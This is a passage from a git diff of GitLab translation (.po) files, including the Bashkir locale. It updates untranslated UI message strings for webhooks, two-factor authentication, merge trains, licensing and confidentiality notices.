-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/ba_RU/gitlab.po b/locale/ba_RU/gitlab.po
index d478c062137..af8136d5b83 100644
--- a/locale/ba_RU/gitlab.po
+++ b/locale/ba_RU/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ba\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:42\n"
+"PO-Revision-Date: 2020-09-04 23:05\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -54,13 +54,13 @@ msgstr[0] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -69,6 +69,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -251,6 +254,9 @@ msgstr[0] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -287,6 +293,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -339,6 +348,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -366,7 +378,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -453,9 +465,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -474,6 +483,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -483,6 +495,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -590,6 +614,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -613,6 +640,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -628,6 +658,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -696,6 +729,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -729,6 +765,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -738,7 +777,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -781,6 +835,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -961,15 +1018,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1033,7 +1081,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1051,6 +1099,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
